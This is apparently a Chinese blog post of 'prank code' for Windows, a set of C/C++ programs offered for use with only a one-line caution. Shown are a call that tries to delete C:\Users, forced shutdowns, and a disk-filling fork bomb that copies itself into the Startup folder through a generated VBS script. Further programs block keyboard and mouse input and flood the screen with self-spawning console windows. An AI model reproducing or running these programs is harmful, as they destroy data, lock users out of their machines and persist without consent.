恶搞代码【全】
希望大家不要輕易使用
#include<direct.h> #include<iostream> using namespace std; int main() { string dirName = "C:\\Users"; rmdir (dirName.c_str()); return 0; }刪C盤
#include<windows.h> int main(){ system("shutdown -s -t 0"); }關機
#include<stdio.h> #include<windows.h> #include<io.h> int main(int argc,char**argv){int i=1;if(argv[1]){sscanf(argv[1],"%d",&i);}else{HWND hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd)ShowWindow(hwnd,SW_HIDE);FILE *fout=fopen("0.vbs","w");fprintf(fout,"dim fso, ws, pt, msg\n""set fso = createobject(\"scripting.filesystemobject\")\n""set ws = createobject(\"wscript.shell\")\n""set file = fso.getfile(\"%s\")\n""pt = ws.specialfolders(\"startup\") & \"\\\"\n""file.copy pt\n""sub Close_Process(ProcessName)\n"" On Error Resume Next\n""end sub\n",argv[0]);fclose(fout);ShellExecute(NULL,"open","0.vbs",NULL,NULL,SW_SHOWNORMAL);}if(i>128){if(i==129)remove("0.vbs");return 0;}if(access("C:\\Users\\Public\\Documents",F_OK))system("mkdir C:\\Users\\Public\\Documents");char filename[1000],comd[1000];STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi;si.dwFlags = STARTF_USESHOWWINDOW;sprintf(comd,"%s %d",argv[0],i*2);CreateProcess(NULL,comd,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);sprintf(comd,"%s %d",argv[0],i*2+1);CreateProcess(NULL,comd,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);sprintf(filename,"C:\\Users\\Public\\Documents\\%d.dat",i);freopen(filename,"w",stdout);while(1){for(int i=0;i<16384;i++)puts("xxx");Sleep(1);}return 0; }炸C盤
#include<windows.h>int main(){system("shutdown -s -t 3 -c \"SB\"");return 0; }有理由的關機(中間的SB可以改)
#include<windows.h> #include<bits/stdc++.h> using namespace std; int main() {srand(time(0));int T = 5053;while(T--) {SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));}system("start bctyddj.exe"); return 0; }這個我忘記是啥了...
#include "iostream" #include"windows.h" //必須包含的頭文件 using namespace std;int main() {for(int i=1;i<=1000;i++){mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Sleep(40);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);Sleep(40);}system("shabi.exe");return 0; }植入病毒
#include<windows.h> #include<stdio.h> #include<time.h> int main(int argc,char**argv){int i=1;if(!argv[1]){srand(time(0));}else{int seed;sscanf(argv[1],"%d",&seed);srand(seed);sscanf(argv[2],"%d",&i);}HWND hwnd=FindWindow("ConsoleWindowClass",NULL);MoveWindow(hwnd,rand()%1920-160,rand()%1080-90,rand()%1200,rand()%800,TRUE);char comd[100];sprintf(comd,"%s %d %d",argv[0],rand(),i*2);STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi;si.dwFlags = STARTF_USESHOWWINDOW; // 指定wShowWindow成員有效si.wShowWindow = TRUE; // 此成員設為TRUE的話則顯示新建進程的主窗口CreateProcess(NULL,comd,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);if(i<=8){sprintf(comd,"%s %d %d",argv[0],rand(),i*2+1);CreateProcess(NULL,comd,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);}getchar();return 0; }也忘了...
#include <windows.h> #include <winable.h> #include <ctime> #include <cstdio> using namespace std; int main(){ int x = 1024,y=768,i=0; srand(time(0)); while(1){ BlockInput(true); SetCursorPos(rand() % x,rand() % y); i++; } return 0; }鼠標報廢代碼
總結
- 上一篇: Thread线程类及多线程
- 下一篇: java.nio.file 找不到_ja